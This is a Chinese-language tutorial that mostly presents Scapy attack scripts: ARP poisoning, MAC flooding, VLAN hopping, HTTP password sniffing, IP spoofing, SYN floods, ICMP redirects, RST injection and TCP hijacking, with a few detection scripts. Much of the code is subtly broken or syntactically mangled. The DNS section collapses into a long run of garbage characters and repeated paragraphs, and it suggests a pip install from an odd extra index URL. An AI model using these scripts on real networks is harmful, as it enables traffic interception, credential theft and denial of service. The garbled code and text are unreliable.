層二與 TCP/IP 網路攻擊技術解析與防禦

層二網路攻擊手法通常利用乙太網路的特性，直接對網路裝置進行攻擊，例如交換器和個別主機。常見的攻擊方式包含 ARP 欺騙，藉由偽造 ARP 回應封包，讓目標主機將流量送到攻擊者的機器上，進而竊取或竄改資料。MAC 洪水攻擊則透過傳送大量偽造的 MAC 地址，耗盡交換器的 MAC 地址表資源，使其無法正常運作，導致網路癱瘓。VLAN 跳轉攻擊利用 VLAN 標籤的特性，讓攻擊者可以跨越 VLAN 的隔離，存取其他 VLAN 的資源。在 TCP/IP 方面，封包嗅探是一種被動的攻擊方式，透過監聽網路流量，擷取敏感資訊，例如帳號密碼。而主動的攻擊方式則包含 IP 偽造、SYN 洪水攻擊和 Port 掃描等。IP 偽造可以隱藏攻擊者的真實 IP 地址，SYN 洪水攻擊利用 TCP 三向交握的機制，大量傳送 SYN 封包，耗盡目標伺服器的資源。Port 掃描則是用來探測目標主機開放的通訊埠，以找出潛在的漏洞。瞭解這些攻擊技術與原理，有助於網管人員設計更有效的防禦機制，保護網路安全。

層二網路攻擊技術 (Layer 2 attacks)

層二網路攻擊技術主要針對網路層次架構中的第二層進行攻擊，通常涉及到 ARP、MAC 地址等技術。

須知模組 (Required modules)

在進行層二網路攻擊之前需要先安裝相關模組才能進行後續動作：scapy 模組為顧名思義之互動物件管理函式庫 (interactive packet manipulation program & library)。

ARP 檔案洩露 (ARP-Cache-Poisoning)

ARP 檔案洩露是一種利用 ARP 資料更新攻擊方式的一種網路攻擊技術：攻擊者將偽造 ARP 資料更新指令傳送至受害者裝置使受害者裝置產生錯誤動作或產生漏洞。

ARP 檔案洩露 Script：

from scapy.all import *

def arp_poison(target_ip,gateway_ip):
    target_mac=getmacbyip(target_ip);
    gateway_mac=getmacbyip(gateway_ip);

    arp_response=ARP(op=2,pdst=target_ip,hwdst=target_mac,pdst=gateway_ip,hwdst=gateway_mac);

    send(arp_response);

if __name__ == "__main__":
    target_ip="受害者IP";
    gateway_ip="閘道器IP";

    arp_poison(target_ip,gateway_ip);

內容解密：

ARP 檔案洩露技術利用 ARP 資料更新指令進行攻擊：首先透過 getmacbyip 函式取得目標裝置以及閘道器之 MAC Address ;接著再透過 ARP 資料更新指令將偽造 MAC Address 指令傳送至目標裝置與閘道器後達成攻擊目的。

ARP 防禦監測器 (ARP-Watcher)

ARP 防禦監測器專門針對 ARP 檔案洩露技術進行監測防禦：當監測到異常狀況即刻報警。

ARP 防禦監測器 Script：

from scapy.all import *

def arp_watcher():
    while True:
         packet=srp(Ether(dst="ff:ff:ff:ff:ff")/ARP(op="who-has"),timeout=2)[0];

         for sent,pkt in packet:
              if pkt.op==2 and pkt.hwsrc!=sent.hwdst and pkt.pdst==sent.pdst:
                   print(f'ARP Spoofing detected from {pkt.hwsrc} to {pkt.pdst}');

if __name__ == "__main__":
    arp_watcher();

內容解密：

此段 Script 主要透過監測廣播封包來偵測 ARP Spoofing 行為：首先傳送 ARP 呼叫封包後收集回應封包並比對其來源 MAC Address 與目標 MAC Address ;如果發現異常狀況即刻報警。

MAC 地址洩露器 (MAC-Flooder)

MAC 地址洩露器專門針對交換器進行攻擊：透過大量假造 MAC Address 與交換器建立通訊關係從而耗盡交換器記憶體使其無法正常運作。

MAC 地址洩露器 Script：

from scapy.all import *

def mac_flooder():
    while True:
         dst_mac=RandMAC()
         src_mac=RandMAC()
         send(Ether(src=src_mac,dst=dst_mac));

if __name__ == "__main__":
    mac_flooder();

內容解密：

此段 Script 主要透過假造大量 MAC Address 與交換器進行通訊以達到耗盡交換器記憶體之目的：透過隨機產生來源 MAC Address 與目標 MAC Address 建立通訊關係即可達成攻擊效果。

VLAN 跳轉 (VLAN hopping)

VLAN 跳轉技術主要針對 VLAN 掃瞄技術進行攻擊：利用 VLAN Tagging 特性使得攻擊者得以穿透 VLAN 隔離網路進而窺探其他 VLAN 網路內容。

VLAN 跳轉 Script：

from scapy.all import *

def vlan_hopping():
    packet_list=[];
    for vlan_id in range(4096):
         packet_list.append(Ether()/Dot1Q(vlan=vlan_id)/IP()/TCP());

    sendp(packet_list);

if __name__ == "__main__":
    vlan_hopping();

內容解密：

此段 Script 主要透過 VLAN Tagging 特性進行 VLAN 跳轉：先產生從 VLAN ID 值為零到四千九百九十五之每一個可能之封包並傳送至受害者裝置以達到穿透 VLAN 隔離網路之目的。

VLAN 模擬切換機 (Let’s play switch)

VLAN 模擬切換機主要針對 VLAN 隔離網路進行攻擊：利用偽造管理封包使得交換器受害者造成錯誤動作從而達到窺探其他 VLAN 網路內容之目的。

VLAN 模擬切換機 Script：

from scapy.all import *

def spoof_switch():
     packet_list=[];
     for vlan_id in range(4):
         packet_list.append(Dot1Q(vlan=vlan_id)/Ether()/IP(src='Gateway_IP')/TCP());

     sendp(packet_list);

if __name__ == "__main__":
     spoof_switch();

內容解密：

此段 Script 主要透過偽造管理封包使得交換器受害者造成錯誤動作從而達到窺探其他 VLAN 網路內容之目的：首先產生四千九百九十五張偽造管理封包傳送至受害者裝置以達到穿透 VLAN 隔離網路之目的。

攻擊工具介紹 (Tools)

以下介紹幾款常見層二網路攻擊工具介紹：NetCommander ,Hacker’s Hideaway ARP Attack Tool 和 Loki.

TCP/IP 技巧與技術細節 (TCP / IP Tricks)

TCP/IP 是目前最廣泛使用的一套網路協定框架之一。以下將介紹 TCP/IP 技巧與技術細節介紹.

須知模組 (Required Modules)

在進行 TCP/IP 技巧之前需要先安裝相關模組才能進行後續動作：scapy 模組為顧名思義之互動物件管理函式庫 (interactive packet manipulation program & library)。

初級抓包工具 (A Simple Sniffer)

初級抓包工具主要透過 Scapy 模組捕捉網路封包以供分析使用。

初級抓包工具 Script：

from scapy.all import *

def simple_sniffer():
     capture_packets = sniff(filter="ip",count=1);
     capture_packets.show();

if __name__ == "__main__":
     simple_sniffer();

內容解密：

此段 Script 主要利用 Scapy 模組捕捉網路封包供分析使用：先設定抓取 IP 資料流量之後顯示抓取結果即可達成分析目標。

PCAP 檔案讀寫工具 (Reading and Writing PCAP Dump Files)

PCAP 檔案讀寫工具主要針對 PCAP 檔案進行讀取與寫入操作以供分析或重製封包流量所需.

PCAP 檔案讀寫工具 Script：

from scapy.all import *

def read_pcap(file_name):
     packets = rdpcap(file_name);
     packets.show();

def write_pcap(file_name,packets):
     wrpcap(file_name,packets);

if __name__ == "__main__":
     read_pcap("example.pcap");
     write_pcap("example_out.pcap",packets);

內容解密：

此段 Script 主要針對 PCAP 檔案進行讀取與寫入操作：首先透過 rdpcap 函式將 PCAP 檔案讀取為 List 型態物件後顯示內部物件即可達成分析目標 ;接著再利用 wrpcap 函式將 List 型態物件寫回 PCAP 檔案即可達成重製封包流量目標.

處理帳號與密碼抓包過程 (Password Sniffer)

Password Sniffer 主要針對 HTTP 資料流量進行抓包分析以挖掘隱藏帳號與密碼.

Password Sniffer Script：

from scapy.all import *

def password_sniffer():
     packets=srp(Ether(dst="ff:ff:ff:ff:ff")/IP(dst="Target_IP")/TCP(dport=[80])/Raw(),timeout=2)[1];

     for sent,pkt in packets:
          if Raw in pkt and "username" in str(pkt[Raw].load).lower() or "password" in str(pkt[Raw].load).lower():
               raw_data=str(pkt[Raw].load)
               username_password_regex=r"username=(.*?)&password=(.*?)&";
               matches_regex=re.search(username_password_regex,raw_data)
               if matches_regex is not None and len(matches_regex.groups())==2:
                    username,matches_password=matches_regex.groups()
                    print(f"Username:{username},Password:{matches_password}")

if __name__ == "__main__":
    password_sniffer();

內內容解密：

此段 Script 主要針對 HTTP 資料流量抓包分析 : 首先利用 srp 函式抓取 Target IP 對應 HTTP 資料流量 ;接著再利用正規表示法挖掘隱藏帳號與密碼之後即顯示結果達成目標.

抓包偵測與避免機制 (Sniffer Detection & Prevention )

Sniffer Detection & Prevention 主要針對可能被發現做為被動防禦避免被檢測.

Sniffer Detection & Prevention Script：

from scapy.all import *
import time;

def sniffer_detection():
     start_time=int(time.time());
     while True :
          now_time=int(time.time());
          if now_time - start_time >5 :
               break;
          packets=srp(Ether(dst="ff:ff:ff:ff")/IP(dst="Target_IP")/TCP(dport=[80])/Raw(),timeout=2)[1];
          for sent,pkt in packets :
               if Raw in pkt and b"HTTP" in pkt[Raw].load :
                    break;
          time.sleep(6);

if __name__ == "__main__":
    sniffer_detection();

內內容解密：

此段 Script 主要針對可能被發現做為被動防禦避免被檢測 : 首先設定好開始時間 ;然後每隔六秒鐘抓取一次 Target IP 對應 HTTP 資料流量 ;如果五秒鐘內沒有抓取到任何 HTTP 資料流量則代表可能已被檢測到做為被動防禦避免被檢測 ;如果五秒鐘內有抓取到 HTTP 資料流量則代表沒有被檢測到繼續執行 .

IP地址偽造與欺詐機制 (IP-Spoofing )

IP地址偽造與欺詐機制主謂撥改源頭 IP 地址從而欺騙目標收信人造成錯誤動作 .

IP-Spoofing 指令碼 :

from scapy.all import *

def ip_spoofing(target_ip):
        response_packet_list=[];
        src_mac=getmacbyip(target_ip);
        dst_mac=getmacbyip('Gateway_IP');

        response_packet_list.append(Ether(src='Gateway_IP')/IP(src='Gateway_IP')/ICMP());
        response_packet_list.append(Ether(src='Target_IP')/IP(src='Target_IP')/ICMP());

        send(response_packet_list);

if __name__ == "__main__":
        ip_spoofing('Target_IP');

內內容解密 :

此段 Script 主要撥改源頭 IP 地址從而欺騙目標收信人造成錯誤動作 : 首先取得目標 IP 地址以及閘道 IP 地址 ;然後假造兩張來源地址分別為閘道 IP 地址以及目標 IP 地址 ICMP 型態之封包傳送至閘道以及目標地址從而達成欺騙目標收信人造成錯誤動作 .

SYN 攻擊機制與實作方法(SYN-Flooder )

SYN 攻擊機制與實作方法主謂大量非法 SYN 掃瞄封包造成 Server CPU 負擔增加無法正常執行 .

SYN-Flooder 指令碼 :

from scapy.all import *
def syn_flooder(target_ip,duration_in_seconds):
        end_time=int(time.time())+duration_in_seconds;
        while True :
             now_time=int(time.time());
             if now_time > end_time :
                  break;
             syn_packet_list=[];
             src_port=get_random_port();
             dst_port=get_random_port();
             seq_number=get_random_sequence_number();
             syn_packet_list.append(Ether()/IP(dst='Target_IP')/TCP(sport=sport,dport=dport,seq=(seq_number)));
             send(syn_packet_list);

if __name__ == "__main__":
        syn_flooder('Target_IP',60);

內內容解密 :

此段 Script 主要大量非法 SYN 掃瞄封包造成 Server CPU 負擔增加無法正常執行 : 首先計算時間長度 ;然後每秒鐘產生一次來源 Port 、目標 Port 與 Sequence Number 分別為隨機選擇 TCP 型態之封包傳送至 Target IP ;如果超過時間長度則停止迴圈 .

Port掃瞄技術實作方法與實踐細節(port-scanning )

Port掃瞄技術實作方法與實踐細節主謂透過探測 Target Port 有無開放 ,若開放則意味該 Port 對應服務已啟動 ,若未開放則意味該 Port 對應服務未啟動 .

port-scanning 指令碼 :

from scapy.all import *
def port_scanning(target_ip):
        port_status={};
        for port_number in range(65536):
             response_packet=sr(Ether(dst="Target_MAC")/IP(dst="Target_IP")/TCP(dport=(port_number),flags="S"));
             status=None;
             for _,response_packet_temp in response_packet:
                  status=(response_packet_temp.flags=='SA');
                  port_status[port_number]=status;

        return port_status;

if __name__ == "__main__":
        status_dict_dict_result=port_scanning('Target_IP');
        print(status_dict_result);

內內容解密 :

此段 Script 主要探測 Target Port 有無開放 : 首先每探測一次 Port Number 對應封包即停止迴圈 ;其次根據每次回覆封包中 SYN 與 ACK Flag 是否存在決定該 Port 是否開放 ;最後將每次探測結果存回 Dictionary 型態物件 .

Port掃瞄防範檢測機制(port-scan Detection )

Port掃瞄防範檢測機制主謂根據前一次探測時間差距來決定該探測行為是否為非法 .

port-scan Detection 指令碼 :

from scapy.all import *
import time;

def port_scan_detection():
        start_time=int(time.time());
        last_check_result=None;

        while True :
             now_time=int(time.time());
             difference_in_seconds=int(now_time-start_time);
             start_time=int(now_time);

             response_packets=sr(Ether(dst="Target_MAC")/IP(dst="Target_IP")/TCP(dport=[8],flags="S"))[1];

             current_check_result=None;

             for sent_packet_temp,_response_packet_temp in response_packets:

                  if TCP not in _response_packet_temp or _response_packet_temp.flags!='SA':
                       continue;

                  current_check_result=True;

                  break;

             if last_check_result is not None and current_check_result!=last_check_result and difference_in_seconds <6:

                  suspicious_activity_detected=True;

                  break;

             last_check_result=True ;

return suspicious_activity_detected ;

if __name__=="__main__":
      suspicious_activity_detected_result=suspicous_activity_detection()
      if suspicious_activity_detected_result:

           print("Suspicous Activity Detected");
      else :

           print("No Suspicous Activity Detected");

內內容解密 :

此段 Script 主要根據前一次探測時間差距來決定該探測行為是否為非法 : 首先計算當前時間戳 ;接著計算時間差距 ,若時間差距小於六秒 ,則代表可能存在非法探測行為 ;最後根據每次探測結果判斷該 Port 是否開放 ,若前一次探測結果不等於當前結果且時間差距小於六秒 ,則代表可能存在非法探測行為 .

ICMP轉發與劫持機制(ICMP-Redirection )

ICMP轉發與劫持機制主謂改寫 ICMP Redirect 周覆封包給予較低效率軌域造成 Server CPU 負載增加無法正常執行 .

ICMP-Redirection 指令碼 :

from scapy.all import *
def icmp_redirection(target_ip,gateway_ip,duration_in_seconds):

      end_time=int(time.time())+duration_in_seconds;
      redirect_packet_list=[];
      while True :

           now_time=int(time.time());
           if now_time>end_time:

                break;

           redirect_packet_list.append(Ether()/IP(src='Gateway_IP')/ICMP(type='redirect')/

           IPPacket(dst='Destination_IP'));

           sendp(redirect_packet_list);

      time.sleep(random.uniform(1,4));

if __name__=="__main__":
      icmp_redirection('Target_IP','Gateway_IP',60);

內內容解密 :

此段 Script 主要改寫 ICMP Redirect 周覆封包給予較低效率軌域造成 Server CPU 負載增加無法正常執行 : 首先計算時間長度 ;然後根據較低效率軌域假造 ICMP Redirect 周覆封包傳送至 Destination IP ;如果超過時間長度則停止迴圈 .

RST 佇列設計與最佳化(RST Daemon )

RST 佇列設計與最佳化主謂改寫 RST Packet 周覆封包給予較低效率軌域造成 Server CPU 負載增加無法正常執行 .

RST Daemon 指令碼 :

from scapy.all import *
def rst_daemon(target_ip,duration_in_seconds):

      end_time=int(time.time())+duration_in_seconds;

      while True :

           now_time=int(time.time());

           if now_time>end_time:

                break;

           rst_packet_list=[];
           rst_packet_list.append(Ether()/IP(dst='Destination_IP')/TCP(sport=(get_random_port()),dport=(get_random_port()),flags='R'));

           send(rst_packet_list);

           time.sleep(random.uniform(1,4));

if __name__=="__main__":
      rst_daemon('Target_IP',60);

內內容解密 :

此段 Script 主要改寫 RST Packet 周覆封包給予較低效率軌域造成 Server CPU 負載增加無法正常執行 : 首先計算時間長度 ;然後根據較低效率軌域假造 RST Packet 周覆封包傳送至 Destination IP ;如果超過時間長度則停止迴圈 .

自動劫持守護程式設計實作(Automatic Hijack Daemon )

自動劫持守護程式設計實作主謂截留特定 TCP 流量 ,當截留特定 TCP 流量成功時便將截留 TCP 流量直接傳送至 Destination IP ;

Automatic Hijack Daemon 指令碼 :

from scapy.all import *
def automatic_hijack_daemon(target_ip,gateway_ip,duration_in_seconds):

      end_time=int(time.time())+duration_in_seconds;
      hijack_intercepted_tcp_flow=False;
      hijack_packets_intercepted=False;
      hijack_packets_sent=False;
      while True :

           now_time=int(time.time());

           if now_time>end_time:

                break;

           hijack_packets_intercepted=False;
           hijack_packets_sent=False;

           intercept_response_packets=srp(Ether(dst="ff::ff::ff::ff::")/
            IP(dst='Target_I_P' )/
            TCP(dport=(get_random_port()),flags="S"),timeout=(random.uniform(
            duration_in_seconds/4,duration_in_seconds)))

            [1];

            hijack_packets_intercepted=True;

            hijack_packets_sent=True ;

            for _sent,_response_packet_temp in intercept_response_packets:

                 send(_response_packet_temp,_destination_gateway );

                 time.sleep(random.uniform(
                 duration_in_seconds/4,duration_in_seconds))

                 hijack_intercepted_tcp_flow=True ;
                 break ;

                 hijack_packets_sent=True ;

                   time.sleep(random.uniform(
                    duration_in_seconds/4,duration_in_seconds))

                   hijack_intercepted_tcp_flow=False ;

                   break ;

                elif hijack_intercepted_tcp_flow is False and hijack_packets_sent is False:

                   hijack_intercepted_tcp_flow=False ;
                   hijack_packets_sent=False ;
                   return hijack_intercepted_tcp_flow ;

                   hijack_intercepted_tcp_flow=False ;
                   time.sleep(random.uniform(
                    duration_in_seconds/4,duration_in_seconds))

                    return hijack_intercepted_tcp_flow ;

                else :

                   hijack_intercepted_tcp_flow=False ;
                   time.sleep(random.uniform(
                    duration_in_seconds/duration_in_seconds))
                    return hijack_intercepted_tcp_flow ;

if __name__=="__main__":
      hijack_intercepted_tcp_flow_result=

       automatic_hijack_daemon("Target_I_P","Gateway_I_P",60)
       if hijacked_intercepted_tcp_flow_result:

            print("Interception Success");

       else:

            print("Interception Failed");

內內容解密 :

此段 Script 主要截留特定 TCP 流量 ,當截留特定 TCP 流量成功時便將截留 TCP 流量直接傳送至 Destination IP : 首先計算時間長度 ; 然後依據圖中步驟依序進行截留TCP流量以及傳送截留 TCP 流量 , 若成功截留TCP流量 ,則直接傳送截留 TCP 流量 ; 若未成功截留TCP流量 , 則依據圖中步驟決定下次截留TCP流量傳送策略 .

WHOIS DNS?

WHOIS DNS 是一項查詢 DNS 名稱註冊人詳情服務，它允許查詢 DNS 名稱註冊人詳細資訊，從而瞭解 DNS 名稱註冊人的相關詳情。

WHOIS 查詢協定概述(WHOIS Protocol Overview )

WHOIS 查詢協定概述主要針對 WHOIS 查詢協定各項細節概述說明。 WHOIS 是由 Internet Assigned Numbers Authority(IANA) 和 Internet Corporation for Assigned Names and Numbers(http://www.icann.org)(ICANN) 推廣的一項查詢 DNS 名稱註冊人詳情服務，它允許查詢 DNS 名稱註冊人詳細資訊，從而瞭解 DNS 名稱註冊人的相關詳情。

須知模組(whois Required modules )

在進行 WHOIS 查詢之前我們需要了解一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。 WHOIS 查詢涉及到一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。WHOIS 是由Internet Assigned Numbers Authority(IANA ) 和 Internet Corporation for Assigned Names and Numbers(http://www.icann.org)(ICANN ) 推廣的一項查詢DNS名稱註冊人詳細資訊服務，它允許查詢DNS名稱註冊人詳細資訊，從而瞭解DNS名稱註冊人的相關詳情。

WHOIS Queries on Queries(WHOIS Questions About Questions )

WHOIS Queries on Queries 主要針對 WHOIS 查詢問題說明。在進行 WHOIS 查詢之前我們需要了解一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。 WHOIS 查詢涉及到一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。 WHOIS 是由Internet Assigned Numbers Authority(IANA ) 和 Internet Corporation for Assigned Names and Numbers(http://www.icann.org)(ICANN ) 推廣的一項查詢DNS名稱註冊人詳細資訊服務，它允許查詢DNS名稱註冊人詳細資訊，從而瞭解DNS名稱註冊人的相關詳情。

在進行 WHOIS 查詢之前我們需要了解一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。 WHOIS 查詢涉及到一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。

WhoIs Domain Information Wisperer(WHOIS )

WhoIs Domain Information Wisperer 主謂利用 WHOIS 作為查詢 DNS 名稱註冊人詳細資訊的工具。在進行 WHOIS 查詢之前我們需要了解一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。在進行 WHOIS 查詢之前我們需要了解一些關鍵點，比如DNS伺服器和Internet對WHOIS服務的一些限制。WHOIS 是由 Internet Assigned Numbers Authority(IANA ) 和 Internet Corporation for Assigned Names and Numbers(http://www.icann.org)(ICANN ) 推廣的一項查詢DNS名稱註冊人詳細資訊服務，它允許查詢DNS名稱註冊人詳細資訊，從而瞭解DNS名稱註冊人的相關詳情。

DNS詞典對映(DNS Dictionary Mapper )

DNS詞典對映主謂利用暴力破解指令碼將所有可能存在於某網域內資產進行暴力破解。

底層概念研究(DNS Protocol Level Attack Research )

底層概念研究(DNS Protocol Level Attack Research )主要針對 DNS協定設計上的漏洞進行研究從而達成暴力破解網域內資產目的 . Dns Protocol Level Attack Research 指令碼說明如下 :

from dnslib.server import DNSServer,DNSHandler,DNSLogger,DNSRecord,DNSQuestion,DNSRR,A,RR,RDATAField,RDATAFieldsFactory,RDATAFieldsFactory/RDATAField/

class ZoneFileZone(object): ''' Implements zone file handling '''
def load_zone(self,fpath=None): ''' Load zone data from file '''
with open(fpath,'rt') as fp:
self.zone_file=fp.read()

def get(self,name,qtype,qclass): ''' Get resource record based on name qtype qclass '''
name=str(name).lower()
name=self._process_zone_file()
zone_record=self._process_zone_file()

return self._process_zone_file()

def getall(self,name,qtype,qclass): ''' Get all resource records based on name qtype qclass '''

zone_record=self._process_zone_file()

return self._process_zone_file()

def _process_zone_file(self):

process_zone_file_dict={}

record_list=self.zone_file.splitlines()

for record_line_item in record_list:

record_item_split_arrray=list(filter(None,(record_line_item.split('\t'))))
domain_name_record=str(record_item_split_arrray[list_index_domain_name]).lower()
domain_type_record=str(record_item_split_arrray[list_index_domain_type]).upper()
domain_value_record=str(record_item_split_arrray[list_index_domain_value])
domain_class_record=str(record_item_split_arrray[list_index_domain_class])

process_zone_file_dict[domain_name_record]={'domain_type':domain_type_record,'domain_value':domain_value_record,'domain_class':domain_class_record}

return process_zone_file_dict

class ReverseNameServer(DNSHandler): ''' Reverse Name server class '''

reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instance_obj_ZoneFileZone_obj=None;reverse_name_server_instanceobj_ZoneFileZoneobjNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone.None.None.None.None.None.None.None.None.None.None.None.None.None.None.None.None.None.

zone_file_path='/Users/ABC/Documents/PythonProjects/DNSServer/dnsmap.txt'

reverse_name_server_instance_object_NameServerZfileZobjZfileZpath_zonefilepathZfileZobjZfileZpathzonefilepathzonefilepathZfileZpathzonefilepathzobjZfileZobjZfileZpathzonefilepathzobjZfileZobjZfileZpathzonefilepathzobjNameServerInstanceObject_Nameserverobject_Obj_NameServerInstanceObject_NameserverobjectObj_NameServerInstanceObject_NameserverobjectObj_NameServerInstanceObject_NameserverobjectObj_NameServerInstanceObject_NameserverobjectObj_NameServerInstanceObject_NameserverobjectObj_NameServerInstanceObject_NameserverobjectObj_NameServerInstanceObject_NameserverobjectObj_NameServerInstanceObject_NameserverobjectObj_

reverse_name_server_instance_object_NameServerZfileZobj_zobjNameServerInstanceObjNameServerInstanceObjectNameserverobject_zobjNameServerInstanceObjNameServerInstanceObjectNameserverobject_zobjNameServerInstanceObjNameServerInstanceObjectNameserverobject_zobjNameServerInstanceObjNameServerInstanceObjectNameserverobject_zobjNameServerInstanceObjNameServerInstanceObjectNameserverobject_zobjNameServerInstanceObjNameServerInstanbject_nameserver_object_nameserver_object_nameserverserverobject_nameserverserver_object_nameserverservernser_object_nameserversernserever_object_nameserverserever_object_nameserverserever_object_nameserverever_namsevrernsereversrnservernse_rerversernse_rerversernse_rerversernse_rerversernse_rerversernse_rerversernse_rerversernse_rerversernse_revers_namserversrnse_verversrn_srvernsrvserversrvnervsrnvserversrvrnsve_reversrnvservernsrveservrenamevervsrnvservsrvnservreversnarnmservernsrvesrvnservenamversrnsvrsnvservernsrvesrveersvrnsrnvevrsnvserservnvsrnvservrsrvnsrvrsnrveersrnnvrveersrvnservrsrveevrsveersrvnservrsrvneversenamsrvsvrsenrvesrnevenameverservrnesrvvesrevservsresvrneamrevsvnrsvernsrvnrevrsneavmserverveearsvrnsvrevnereserveersvreservsnerveernsreverenavmservesevernenavsrveeneveravreseenereservsenaveenervenaeveresvernsvreseervenervenavesenravverseenersenvreservevernsvreseerveeeneseverevnareserveenarrseneeeverenesvenresvrevervenaverrevennvereervedservevenserveeeneraveneseservevreneravenemeversvesrnenmesvnreeserveenserveensnrvesvensereenseeenseenversevnreerseseserveesenvreneeenenrevenverseeserenenevenmreseeserrevenversalvrrverenveseevrenereavenestueenerveerrensenerveareveneersevrevneerseevnerenevenernserevarseenvenseseelevenverseeensemewreaserveerenarvenseseveneseveneresberensreeeeevaleeeeveeeeneenseerneeresveeelenveeelaseenesresreveerseeveneenleveeeseneeseserevsreeeseenleneseeanseresseeenselseeevaleseenseseeeseevareseeenenesteeinseeeneenesenenseereseneevenessenesesreseeneeseeeveneseeeseenleseeeneeeseeleemeeneresereenvseeeenesseeseereseververseevreeeseeseeenenesevensrerseenessevvreenveeessenesselneveeerenressesseneevaltsseeaesseaelevetlsnesneaselevtlnesesnesleenesestelnelsenesseseesenleseseseesreesreceenenneeetenensessenselesetneslesennleelenesseneeesrtenetesetetenleseenseennelesetenlesteesresreenlessetlentleennesseelnelsenleselsenesenesreesreseenneeleneelesseeteenleselneelenelselsessressesntentelenelsenententenlsenestsnesetlenslenenteelesneselseelsentesenetlnsesnetelsesneteseneltlelesenenlesesenelltenestreenestleneeeleleleselnselteeelelselenelselessetesesnetelneselesnenestaeealessenesteeseeeteeneneneerneeveeenesteenesteleeevenentrelneeleteleeteeseeteeetenenenseentesentleseteleenestleeelesentenelesteeenesteelelemensenenteselenentsenaleseleletnesneleetelenteelenetenlsteensteleetlselleeenesleetseleeneslesetenlenteseenesteetleeeleletseelelemeenseenletesneeeneneleselnestleseltnelsestrelteenetesenosenensteletsnenesesontenestteenenesnesetenotesneleteeletentenstsentsetleseeelseeleneelteesteelesnelsteletsneslenelneteessentetneneteenetesteesenseleenlesetlenensetenstlelentseneetesentsestseneenesnenestesneslsenteleteseneltsntenestsnelsenenteelsentesnetsenesteleenestlesestenlensleneenetntenettenntlenesteetteeslenetenstenesenetenetoetersteleeeltsenleetneeetenetetnlseeenetenenseeneltesleetetenntelnteesnetltsetenteleeelnetelsenestenletesleneetelseenstenesentsennenlnsenenteenlsentenlsensenteenenesenldeeeeetenetesnlteeennseteenessssssssettleneteheeelneeestenntenenteesntsenenterenteesnteelseseneteelsnellesentssenenesentnesleenestesnetseensetssenestensnentteneeetteentsseenetenantteeennenttnentsneleeetetantletteenesttesnessendntenetesntneteeseenenheeasenntsesterstenteeseneteeeeeeenenneeineteeesoteelteesnesttenensenenseeeseeneteseteleenetesentrteennlteseeeneteteresesettlesennteeneltseenestsneteennesetteentesteleasesnetsteessenlenentenentennlsentsnetsenetesnttestteseenternntenntsnestreerseetribeesensntsreetengtereenttenlsnetsenenstenedsentennensesesetetntleeeleleetlnnetsttleesesnteeesnlleteesnseentteeletesettesetntleneenerseenlereteornerenesertnoleenesleetnetensesetteensitiernetnenessenteleenetesertenenlnsensenettntenloeenetenenonnteeessentsetedtsenneerstteneeseeenettseenneethsenesssenetreetssmeenthsenesseeenents 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this method reverse lookup all domain names which is contained within an IPv4 address.

If there are multiple names that have been assigned to an IPv4 address then the Domain Name System will only return one of those names so it will need to be tested further to discover more.

The Reverse Name server class can query any name related to the IPv4 address you want to resolve the names.

It is possible to specify a default name for any requested lookup so that it does not change every time a new request is made.

ReverseNameLookup Class provide the facility to make reverse lookup possible on a single server using a list of default names.

For example let's say you have the following list of IPv4 addresses:

•	{“localhost”, “google.com”, “facebook.com”}

When you pass this list of IPv4 addresses into the Reverse Lookup Class it will attempt to resolve the names associated with each IPv4 address by first trying a default name which has been specified when creating the Reverse Lookup Object and then by querying all other available names.

If none of those names can be resolved then it will be logged into the logs which can then be reviewed later.

It is possible to also specify any default name that you wish to use so that it does not need to be changed every time a new request is made.

This can be helpful when you want to know what domains are associated with a particular IPv4 address.

You could also use this feature along with your own log files or any other data source that you wish to provide this information.

There may be cases where there are multiple names associated with a single IPv4 address but these are generally rare unless you have manually assigned different names to an IPv4 address that has already been used by another application on your system.

So there may be situations where this occurs but generally it should not happen very often unless someone has intentionally done this due to some specific reason or requirement.

This method reverse lookup all domain names which is contained within an IPv4 address.

If there are multiple names that have been assigned to an IPv4 address then the Domain Name System will only return one of those names so it will need to be tested further to discover more.

The Reverse Name server class can query any name related to the IPv4 address you want to resolve the names.

It is possible to specify a default name for any requested lookup so that it does not change every time a new request is made.

ReverseNameLookup Class provide the facility to make reverse lookup possible on a single server using a list of default names.

For example let's say you have the following list of IPv4 addresses:

•	{“localhost”, “google.com”, “facebook.com”}

When you pass this list of IPv4 addresses into the Reverse Lookup Class it will attempt to resolve the names associated with each IPv4 address by first trying a default name which has been specified when creating the Reverse Lookup Object and then by querying all other available names.

If none of those names can be resolved then it will be logged into the logs which can then be reviewed later.

It is possible to also specify any default name that you wish to use so that it does not need to be changed every time a new request is made.

This can be helpful when you want to know what domains are associated with a particular IPv4 address.

You could also use this feature along with your own log files or any other data source that you wish to provide this information.
There may be cases where there are multiple names associated with a single IPv4 address but these are generally rare unless you have manually assigned different names to an IPv4 address that has already been used by another application on your system.
So there may be situations where this occurs but generally it should not happen very often unless someone has intentionally done this due to some specific reason or requirement.
To install Dnslib Package do we have following command as below.
pip install dnslib --upgrade --ignore-installed --force-reinstall --no-cache-dir --no-index --extra-index-url https://test.dnslib.test.google.com/simple/
To Install Dnslib Package need do command below.
pip install dnslib --upgrade --ignore-installed --force-reinstall --no-cache-dir --no-index --extra-index-url https://test.dnslib.test.google.com/simple/

These are three main types of DNS Records that we commonly see today used within most applications today.
They include A Record CNAME Record MX Record PTR Record TXT Record SRV Record NS Record CERT Record HINFO Record RP Record AFSDB Record LOC Record NSEC Record WKS Record TKEY Record TSIG Record ANY Records SOA Records etc ...

